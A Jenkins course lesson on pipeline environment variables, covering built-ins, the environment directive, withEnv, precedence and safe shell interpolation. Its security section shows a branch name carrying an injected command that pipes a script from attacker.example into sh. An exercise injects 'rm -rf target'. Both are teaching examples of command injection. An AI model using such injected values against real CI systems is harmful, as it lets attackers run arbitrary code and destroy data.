At the end of the previous lesson, the orders-api Jenkinsfile repeated the same values in several places: the Maven arguments in every sh, the application version computed inside a script block and hard-coded in the deployment message, and names that several stages will soon need, such as the name of the Docker image that will be published in module 6. Environment variables are Jenkins' mechanism for defining those values once and using them throughout the pipeline, both from Groovy and from shell commands. In this lesson you will get to know the variables Jenkins defines in every build, the environment directive in depth, how to compute values, the withEnv step, installation-wide variables and a distinction with security implications: interpolating in Groovy versus letting the shell interpolate. At the end you will refactor the Jenkinsfile to use APP_VERSION, IMAGE, IMAGE_TAG and MAVEN_ARGS.

What an Environment Variable Is in Jenkins

An environment variable is a name = value text pair that the operating system hands to every process. For each build, Jenkins assembles a set of variables and makes them available in two places:

  • In Groovy, through the env object: env.BUILD_NUMBER.
  • In the processes started by sh, bat or powershell, as ordinary system variables: $BUILD_NUMBER in bash.

That set is built by combining several sources:

flowchart TD
    G["Global properties<br/>(Manage Jenkins → System)"] --> N["Node properties"]
    N --> B["Build variables<br/>(BUILD_NUMBER, JOB_NAME, GIT_COMMIT...)"]
    B --> P["Build parameters"]
    P --> E1["Pipeline environment"]
    E1 --> E2["Stage environment"]
    E2 --> W["withEnv inside the steps"]
    W --> S["sh / bat process"]

Each level can add variables or override those from earlier levels. You will see this in detail in the section on precedence.

Built-in Variables

Jenkins defines these variables in every pipeline build:

Variable Example at TecnoShop Meaning
BUILD_NUMBER 42 The build number within the job
BUILD_ID 42 The build identifier; today it matches the number
BUILD_URL http://localhost:8080/job/orders-api-pipeline/42/ URL of the build page
BUILD_TAG jenkins-orders-api-pipeline-42 A unique string, useful for temporary names
JOB_NAME orders-api-pipeline Full job name, including folders (folder/job)
JOB_BASE_NAME orders-api-pipeline Job name without folders
JOB_URL http://localhost:8080/job/orders-api-pipeline/ URL of the job
WORKSPACE /var/jenkins_home/workspace/orders-api-pipeline Path of the workspace on the node
JENKINS_URL http://localhost:8080/ Jenkins URL (the Jenkins URL value in the configuration)
NODE_NAME built-in Node it runs on (the built-in node is called built-in)
NODE_LABELS built-in The node's labels
EXECUTOR_NUMBER 0 Executor number (starting at 0); used by the Smoke stage

The Git variables are added by the Git plugin after the checkout:

Variable Example Meaning
GIT_COMMIT 4f2c9e1a7b3d... Full hash of the commit being built
GIT_PREVIOUS_SUCCESSFUL_COMMIT a91b0c2d... Commit of the last successful build
GIT_BRANCH origin/main Branch, with the remote prefix
GIT_URL https://github.com/<your-username>/orders-api.git Repository URL

Some important details:

  • WORKSPACE, NODE_NAME and EXECUTOR_NUMBER only make sense inside an agent; in the post of a pipeline with agent none they do not exist.
  • GIT_BRANCH holds origin/main, not main. If you need the clean branch name, a multibranch job gives you BRANCH_NAME, and pull requests give you CHANGE_ID, CHANGE_TARGET and others, which you will see in Multibranch Pipelines. In a regular Pipeline job such as orders-api-pipeline, those variables do not exist.
  • The build parameters (RUN_TESTS, ENVIRONMENT) are environment variables too.

How to Look Them Up

You have three ways to find out which variables are available:

  1. http://localhost:8080/env-vars.html: a static Jenkins page listing the built-in variables and their descriptions. It does not show values.
  2. Pipeline Syntax → Global Variables Reference (in any pipeline job): documents the env object, plus params and currentBuild, with the list of variables contributed by the installed plugins.
  3. In a real build, with the step you already know from 03-06, ideal for trying out with Replay:
sh 'env | sort'

The last one is the most reliable, because it shows the actual values at that point in the pipeline, including the variables you define yourself.

Reading Variables from Groovy and from the Shell

steps {
    echo "Groovy: build ${env.BUILD_NUMBER} on node ${env.NODE_NAME}"
    sh 'echo "Shell: build $BUILD_NUMBER on node $NODE_NAME"'
}
  • "${env.BUILD_NUMBER}": Groovy substitutes the value when it builds the string (double quotes).
  • 'echo "... $BUILD_NUMBER ..."': the Groovy string is in single quotes, so it reaches the shell untouched, and it is bash that substitutes $BUILD_NUMBER when it runs the command.
  • Both lines print the same thing, but the mechanism is different. The last section of the lesson explains why that difference matters.

In Groovy you can also write ${BUILD_NUMBER} without env.: Jenkins looks the name up among the environment variables. It works, but env.BUILD_NUMBER makes it clear where the value comes from; at TecnoShop we always use env. in Groovy.

The environment Directive in Depth

In 03-04 you saw the basics. The directive can go at two levels:

pipeline {
    agent any
    environment {
        APPLICATION = 'orders-api'
    }
    stages {
        stage('Smoke') {
            environment {
                BASE_PORT = '18090'
            }
            steps {
                sh 'echo "$APPLICATION will use a port starting at $BASE_PORT"'
            }
        }
        stage('Deploy to dev') {
            steps {
                sh 'echo "$APPLICATION / BASE_PORT=[$BASE_PORT]"'
            }
        }
    }
}
  • APPLICATION, defined in the pipeline, exists in all stages.
  • BASE_PORT, defined in the Smoke stage, exists only in that stage (and in its child stages, if it had any). In Deploy to dev it shows up empty: BASE_PORT=[].
  • Values can be literal strings, interpolated strings ("${...}"), calls to steps such as sh(...) or the credentials() helper, which you will see in 04-04.
  • A variable can use another one defined earlier in the same block: IMAGE_TAG = "${APP_VERSION}-${BUILD_NUMBER}".
  • By convention, names are written in uppercase with underscores, and without accented or other non-ASCII characters (environment variable names only reliably support ASCII letters, digits and _).

Precedence and Scope

When the same name is defined at several levels, the innermost one wins:

Level (from lowest to highest priority) Scope
Global properties and node properties All builds (on that node)
Built-in build variables The build
Pipeline environment All stages
Stage environment That stage and its children
withEnv([...]) { } Only the steps in the block

And a less intuitive rule about assigning from Groovy:

  • env.NEW_VAR = 'value' inside script creates (or modifies) a variable for the rest of the build, in all subsequent stages.
  • But it cannot modify a variable declared in an environment directive: the assignment is silently ignored and the variable keeps its value. If you need to change a value temporarily, use withEnv.
pipeline {
    agent any
    environment {
        COLOR = 'blue'
    }
    stages {
        stage('Test') {
            steps {
                script {
                    env.COLOR = 'red'       // ignored: COLOR comes from environment
                    env.SHAPE = 'circle'    // created for the rest of the build
                }
                echo "${env.COLOR} / ${env.SHAPE}"   // blue / circle
                withEnv(['COLOR=green']) {
                    echo "${env.COLOR}"              // green, only inside the block
                }
            }
        }
    }
}

Computed Values

A variable often depends on something that is only known during the build, such as the version in pom.xml. There are two ways to compute it.

Option A: environment with sh

    environment {
        APP_VERSION = sh(script: './mvnw -q help:evaluate -Dexpression=project.version -DforceStdout',
                         returnStdout: true).trim()
    }

It works, because environment accepts step calls. But it has some subtleties you should know about:

Subtlety Consequence
It needs an agent In a pipeline with agent none, the sh in the global environment fails: there is no workspace to run it in
It runs before the first stage, outside any stage If it fails, the build ends up red with no stage marked; the error is only visible in the console
It always runs, even with Restart from Stage Advantage: the variable exists even if the stages that would compute it are skipped
It is evaluated once per build (at stage level, on entering the stage) You always pay its cost, even if no stage uses it
returnStdout includes the newline You have to add .trim()
It cannot be modified later with env.X = As you saw in the precedence rule

Option B: Assigning env.X Inside a script

        stage('Build') {
            steps {
                script {
                    env.APP_VERSION = sh(script: './mvnw -q help:evaluate -Dexpression=project.version -DforceStdout',
                                         returnStdout: true, label: 'Read the version from the pom').trim()
                }
                echo "Version: ${env.APP_VERSION}"
            }
        }
  • It is computed inside a stage, with its label, visible in the views; if it fails, you can see in which stage.
  • It remains available for the rest of the build.
  • But if you use Restart from Stage from a later stage, Build is skipped and APP_VERSION will not exist.

TecnoShop chooses option A for APP_VERSION: orders-api uses a global agent any, and having the version available when rerunning Smoke or Deploy to dev outweighs the drawbacks. When the pipeline moves to agent none with per-stage agents, this decision will have to be revisited; we make a note of it for 04-07.

The withEnv Step

withEnv defines variables only for the steps in its block. It takes a list of 'NAME=value' strings:

withEnv(['JAVA_TOOL_OPTIONS=-Xmx256m', 'SPRING_MAIN_BANNER_MODE=off']) {
    sh 'java -jar target/orders-api-1.0.0-SNAPSHOT.jar --server.port=18099 & PID=$!; sleep 15; kill $PID'
}
  • JAVA_TOOL_OPTIONS: the JVM reads it automatically; here it limits the application's memory to 256 MB.
  • SPRING_MAIN_BANNER_MODE=off: Spring Boot turns environment variables into configuration properties; this one disables the startup banner.
  • Outside the block, neither of them exists.

A special syntax lets you prepend to PATH without replacing it:

withEnv(["PATH+TOOLS=${env.WORKSPACE}/tools/bin"]) {
    sh 'my-tool --version'
}
  • PATH+SOMETHING=value: puts value in front of the current PATH. The text after the + is just an identifier. This is what tools and the nodejs step from 04-02 do internally.

environment vs. withEnv:

environment withEnv
Where Pipeline or stage directive Step, inside steps
Scope The whole pipeline or stage Only the block
Typical use Project values One-off values for one or two commands

Everything Is Text: Booleans, params and env

Environment variables are always strings. This trap causes some very baffling errors:

script {
    env.SIMULATE = false              // stored as the TEXT 'false'
    if (env.SIMULATE) {
        echo 'Surprise! This runs'          // 'false' is a non-empty string: Groovy treats it as true
    }
    if (env.SIMULATE == 'true') {
        echo 'This does not run'            // correct comparison
    }
}

Something similar happens with parameters, because they exist twice over:

Expression Type Value if RUN_TESTS is checked Value if unchecked
params.RUN_TESTS Boolean true false
env.RUN_TESTS String 'true' 'false'
$RUN_TESTS in sh Shell text true false

That is why, in when and in script, you should always use params.X for parameters. If you compare an environment variable, compare it with a string:

when { expression { params.RUN_TESTS } }                       // correct
when { environment name: 'RUN_TESTS', value: 'true' }          // also correct: compares text
when { expression { env.RUN_TESTS } }                          // WRONG: always true

One last difference: reading an environment variable that does not exist returns null in Groovy (env.DOES_NOT_EXIST) and an empty string in the shell ($DOES_NOT_EXIST).

Global and Per-Node Variables

An administrator can define variables for all builds in the installation:

  1. Manage Jenkins → System, Global properties section.
  2. Check Environment variables and click Add.
  3. For example, Name TECNOSHOP_REGISTRY and Value registry.tecnoshop.local. Save.

From then on, every build sees env.TECNOSHOP_REGISTRY. They can also be defined per node, in Manage Jenkins → Nodes → (node) → Configure → Node Properties → Environment variables, which is useful when a value depends on the machine (for example, the path to a tool installed only on that agent; you will see this in 05-01).

Advantages Drawbacks
It is changed in a single place for all jobs The Jenkinsfile depends on configuration that is not in the repository
Useful for installation data (URLs of internal services) If you move the job to another instance, it fails silently (the variable is null)

TecnoShop's criterion: what belongs to the project goes in the Jenkinsfile (such as the name of the orders-api image) and what belongs to the installation goes in the global properties, sparingly. And never secrets: any pipeline can read global variables, and they are visible in plain text in the configuration. That is what the credentials in 04-04 are for.

Groovy Interpolation vs. Shell Interpolation

These two lines look equivalent:

sh "echo Deploying ${env.IMAGE}"     // 1: GROOVY interpolates
sh 'echo Deploying $IMAGE'           // 2: the SHELL interpolates
1. Double quotes 2. Single quotes
Who substitutes the value Groovy, on the controller, before starting the command bash, on the agent, when running it
What text the shell receives echo Deploying registry.tecnoshop.local/orders-api echo Deploying $IMAGE
Is the value part of the script's code? Yes No: it is data

If the value is fixed and you control it, it makes no difference. But if the value may contain special characters or is controlled by someone else, the difference is huge. Imagine that, in a multibranch job, someone creates a branch called x;curl http://attacker.example/steal.sh|sh:

sh "echo Building branch ${env.BRANCH_NAME}"   // DANGEROUS

Groovy would paste the name into the script and the shell would run echo Building branch x followed by curl ...|sh: a command injection. On the other hand:

sh 'echo "Building branch $BRANCH_NAME"'       // SAFE

The shell expands $BRANCH_NAME as data inside bash's double quotes, without interpreting the ;. In addition, as you will see in the next lesson, Groovy interpolation causes secrets to end up written into the text of the script, and Jenkins will warn you about it.

TecnoShop's rule, which we already noted in 03-06:

  • In sh, single quotes and environment variables ($X, or better "$X") by default.
  • Groovy double quotes in sh only for values you control (your own constants, the pom version), never for external data (branch names, PR titles, free-text parameters) or for secrets.
  • In echo, writeFile and other Groovy steps, interpolation is normal and safe: no shell is involved.

Applying It at TecnoShop

Laura refactors the Jenkinsfile with four pipeline-level variables:

    environment {
        MAVEN_ARGS  = '-B -ntp'
        IMAGE       = 'registry.tecnoshop.local/orders-api'
        APP_VERSION = sh(script: './mvnw -q help:evaluate -Dexpression=project.version -DforceStdout',
                         returnStdout: true, label: 'Read the version from the pom').trim()
        IMAGE_TAG   = "${APP_VERSION}-${BUILD_NUMBER}"
    }
  • MAVEN_ARGS = '-B -ntp': -B (batch mode) prevents interactivity and colors; -ntp (--no-transfer-progress) suppresses the thousands of download progress lines that clutter the console. It will be used in every sh as ./mvnw $MAVEN_ARGS .... A curiosity: since Maven 3.9, Maven itself reads an environment variable called MAVEN_ARGS and appends its contents to every run, so with the orders-api wrapper the arguments arrive twice. It is harmless, and writing it explicitly makes it clear what runs and works with any Maven version.
  • IMAGE: the name of the orders-api Docker image in TecnoShop's registry. No image is built yet; it will be used by 06-05 and 08-01.
  • APP_VERSION: the version in pom.xml, computed once per build (option A), with .trim().
  • IMAGE_TAG = "${APP_VERSION}-${BUILD_NUMBER}": for example 1.0.0-SNAPSHOT-42. It uniquely identifies each image that gets built, because 1.0.0-SNAPSHOT on its own would repeat in every build.

In addition, the Smoke stage declares its own stage variable, BASE_PORT = '18090', instead of leaving the number hard-coded in the script.

The Updated Jenkinsfile

pipeline {
    agent any

    options {
        timestamps()
        timeout(time: 20, unit: 'MINUTES')
        buildDiscarder(logRotator(numToKeepStr: '30', artifactNumToKeepStr: '5'))
        disableConcurrentBuilds()
        preserveStashes(buildCount: 5)
    }

    parameters {
        booleanParam(name: 'RUN_TESTS', defaultValue: true,
                     description: 'Uncheck only to quickly verify that the code compiles. Never for a build that is going to be deployed.')
        choice(name: 'ENVIRONMENT', choices: ['dev', 'staging', 'production'],
               description: 'Target environment. For now only dev has a deployment, and it is simulated.')
    }

    triggers {
        cron('TZ=Europe/Madrid\nH 2 * * 1-5')
        pollSCM('TZ=Europe/Madrid\nH/15 * * * *')
    }

    environment {
        MAVEN_ARGS  = '-B -ntp'
        IMAGE       = 'registry.tecnoshop.local/orders-api'
        APP_VERSION = sh(script: './mvnw -q help:evaluate -Dexpression=project.version -DforceStdout',
                         returnStdout: true, label: 'Read the version from the pom').trim()
        IMAGE_TAG   = "${APP_VERSION}-${BUILD_NUMBER}"
    }

    stages {
        stage('Build') {
            steps {
                echo "Build ${env.BUILD_NUMBER} of ${env.JOB_NAME} | version ${env.APP_VERSION} | ENVIRONMENT=${params.ENVIRONMENT} | RUN_TESTS=${params.RUN_TESTS}"
                sh './mvnw $MAVEN_ARGS clean compile'
            }
        }

        stage('Checks') {
            failFast true
            parallel {
                stage('Tests') {
                    when {
                        expression { params.RUN_TESTS }
                    }
                    options {
                        timeout(time: 10, unit: 'MINUTES')
                    }
                    steps {
                        sh './mvnw $MAVEN_ARGS test'
                    }
                    post {
                        failure {
                            echo 'The tests failed: check the log of this stage (reports in target/surefire-reports).'
                        }
                    }
                }
                stage('Dependency analysis') {
                    options {
                        timeout(time: 5, unit: 'MINUTES')
                    }
                    steps {
                        sh label: 'Dependency tree', script: './mvnw $MAVEN_ARGS dependency:tree -DoutputFile=dependencies.txt'
                        archiveArtifacts artifacts: 'dependencies.txt'
                    }
                }
            }
        }

        stage('Package') {
            steps {
                sh './mvnw $MAVEN_ARGS -DskipTests package'
                script {
                    def date = sh(script: 'date -u +%Y-%m-%dT%H:%M:%SZ', returnStdout: true, label: 'Build date').trim()
                    currentBuild.description = "orders-api ${env.APP_VERSION}"
                    def lines = [
                        'application=orders-api',
                        "version=${env.APP_VERSION}",
                        "commit=${env.GIT_COMMIT}",
                        "build=${env.BUILD_NUMBER}",
                        "job=${env.JOB_NAME}",
                        "image=${env.IMAGE}:${env.IMAGE_TAG}",
                        "date=${date}",
                        "url=${env.BUILD_URL}"
                    ]
                    writeFile file: 'build-info.txt', text: lines.join('\n') + '\n'
                }
                archiveArtifacts artifacts: 'target/*.jar,build-info.txt', fingerprint: true
                stash name: 'jar', includes: 'target/*.jar'
            }
        }

        stage('Smoke') {
            environment {
                BASE_PORT = '18090'
            }
            options {
                timeout(time: 3, unit: 'MINUTES')
            }
            steps {
                dir('smoke') {
                    deleteDir()
                    unstash 'jar'
                    sh label: 'Start the jar and check that it responds', script: '''
                        JAR=$(ls target/*.jar)
                        PORT=$((BASE_PORT + EXECUTOR_NUMBER))
                        java -jar "$JAR" --server.port=$PORT > smoke.log 2>&1 &
                        PID=$!
                        trap 'kill $PID 2>/dev/null || true' EXIT
                        for i in $(seq 1 30); do
                            if curl -sf "http://localhost:$PORT/actuator/health" | grep -q '"status":"UP"'; then
                                echo "Smoke OK: the application is responding on port $PORT (attempt $i)"
                                curl -sf "http://localhost:$PORT/api/orders" | grep -q 'SHIPPED'
                                exit 0
                            fi
                            sleep 2
                        done
                        echo "ERROR: the application did not start within 60 seconds"
                        cat smoke.log
                        exit 1
                    '''
                }
            }
        }

        stage('Deploy to dev') {
            when {
                allOf {
                    expression { params.ENVIRONMENT == 'dev' }
                    expression { params.RUN_TESTS }
                }
            }
            steps {
                unstash 'jar'
                echo "SIMULATION: this is where target/orders-api-${env.APP_VERSION}.jar would be deployed to dev (future image: ${env.IMAGE}:${env.IMAGE_TAG}; real deployment in 06-06 and 07-03)."
            }
        }
    }

    post {
        success {
            echo "OK: orders-api ${env.APP_VERSION} #${env.BUILD_NUMBER} built successfully."
        }
        unstable {
            echo "WARNING: orders-api #${env.BUILD_NUMBER} is unstable."
        }
        failure {
            echo "ERROR: orders-api #${env.BUILD_NUMBER} failed. Check the red stage."
        }
        fixed {
            echo 'orders-api is back to green after an earlier failure.'
        }
        cleanup {
            cleanWs()
        }
    }
}

Changes compared with 04-02:

  • A new environment directive with MAVEN_ARGS, IMAGE, APP_VERSION and IMAGE_TAG.
  • Every ./mvnw uses $MAVEN_ARGS, in single quotes: the shell interpolates.
  • Package no longer computes the version: it uses env.APP_VERSION and adds the image= line to build-info.txt.
  • Smoke uses the stage variable BASE_PORT; in shell arithmetic, $((BASE_PORT + EXECUTOR_NUMBER)), variables are written without $.
  • The messages in Build, Deploy to dev and success show the real version instead of fixed text.

Commit ("Centralize values in environment variables"), push and run a build. In the console, before Build, you will see the sh that reads the version. Check the image=registry.tecnoshop.local/orders-api:1.0.0-SNAPSHOT-<number> line in build-info.txt.

Common Mistakes and Tips

  • if (env.SOMETHING) with a "boolean": 'false' is a non-empty string and Groovy treats it as true. Compare with == 'true' or use params.
  • Expecting env.X = ... to change a variable from environment: it is ignored. Use withEnv or define the variable only with env.X.
  • Forgetting .trim() on a value computed with returnStdout: IMAGE_TAG would end up with a newline in the middle.
  • sh in the global environment with agent none: it fails because there is no agent. Compute the value inside a stage.
  • Using GIT_BRANCH as the branch name: it carries the origin/ prefix. In multibranch, use BRANCH_NAME.
  • Interpolating external data with Groovy in sh: a command injection risk. Single quotes and "$VARIABLE".
  • Accented or other non-ASCII characters in variable names (AÑO): the shell does not accept them. Use ASCII.
  • Secrets in Global properties or in environment in plain text: anyone who reads the configuration or the Jenkinsfile can see them. Use credentials.
  • Tip: when in doubt about the value of a variable at a given point in the pipeline, use Replay with sh 'env | sort' at that point.

Exercises

Exercise 1. Without running it, predict what each echo in this pipeline prints. Then check it with a test Pipeline job:

pipeline {
    agent any
    environment {
        LEVEL = 'pipeline'
    }
    stages {
        stage('One') {
            environment {
                LEVEL = 'stage'
            }
            steps {
                echo "A: ${env.LEVEL}"
                withEnv(['LEVEL=block']) {
                    echo "B: ${env.LEVEL}"
                }
                script {
                    env.LEVEL = 'script'
                    env.EXTRA = 'created'
                }
                echo "C: ${env.LEVEL}"
            }
        }
        stage('Two') {
            steps {
                echo "D: ${env.LEVEL} / ${env.EXTRA}"
            }
        }
    }
}

Exercise 2. Marta adds a free-text parameter NOTES to the Jenkinsfile and writes sh "echo Build notes: ${params.NOTES}". Explain what happens if someone runs the build with NOTES set to test; rm -rf target, and rewrite the line safely.

Exercise 3. Add a SHORT_COMMIT variable to orders-api with the first 7 characters of the commit and use it in IMAGE_TAG so that it takes the form 1.0.0-SNAPSHOT-42-4f2c9e1. Do it in a way that keeps working with Restart from Stage.

Solutions

Solution 1.

A: stage
B: block
C: stage
D: pipeline / created

A: the stage variable takes priority over the pipeline one. B: withEnv wins inside its block. C: the assignment env.LEVEL = 'script' is ignored because LEVEL is declared in an environment directive. D: outside the One stage, the pipeline variable applies again, and EXTRA, created with env. in a script, exists for the rest of the build.

Solution 2. With double quotes, Groovy pastes the parameter text into the script before running it. The shell receives echo Build notes: test; rm -rf target and runs two commands: the echo and the deletion of target. That is a command injection; with malicious text it could do anything with Jenkins' permissions. A safe version, letting the shell treat the value as data:

sh 'echo "Build notes: $NOTES"'

Parameters are environment variables, so $NOTES exists in the shell; bash's double quotes prevent the ; or the spaces from being interpreted. If you only want to display it, it is even simpler: echo "Build notes: ${params.NOTES}" with Groovy's echo step, which does not go through any shell.

Solution 3. By computing it in the global environment (option A), which is also evaluated with Restart from Stage:

    environment {
        MAVEN_ARGS   = '-B -ntp'
        IMAGE        = 'registry.tecnoshop.local/orders-api'
        APP_VERSION  = sh(script: './mvnw -q help:evaluate -Dexpression=project.version -DforceStdout',
                          returnStdout: true, label: 'Read the version from the pom').trim()
        SHORT_COMMIT = sh(script: 'git rev-parse --short=7 HEAD', returnStdout: true, label: 'Short commit').trim()
        IMAGE_TAG    = "${APP_VERSION}-${BUILD_NUMBER}-${SHORT_COMMIT}"
    }

--short=7 asks Git for exactly 7 characters. Because it is in the global environment, SHORT_COMMIT is defined before IMAGE_TAG, which can use it because it comes later in the same block. Do not add this change to the course Jenkinsfile: we will keep IMAGE_TAG as APP_VERSION-BUILD_NUMBER, the form that modules 6 and 8 will use.

Conclusion

You now know where a build's environment variables come from and how to look them up: the built-in ones (BUILD_NUMBER, JOB_NAME, WORKSPACE, NODE_NAME, EXECUTOR_NUMBER, GIT_COMMIT...), the ones you define with the environment directive at pipeline and stage level, the ones you compute with sh(returnStdout) (with the subtleties of doing it in environment or in a script with env.X), the temporary ones from withEnv and the global ones for the installation and for each node. You know the precedence rules, you know that everything is text (and why params.X and env.X are not the same thing) and you understand why, in sh, letting the shell interpolate with single quotes is safer than interpolating with Groovy. The orders-api Jenkinsfile now defines MAVEN_ARGS, IMAGE, APP_VERSION and IMAGE_TAG only once. There is, however, one kind of value that must never appear in a Jenkinsfile or in a plain-text variable: passwords, tokens and keys. In the next lesson, Credentials and Secrets Management in Pipelines, you will learn to store them in Jenkins and use them without exposing them.

© Copyright 2026. All rights reserved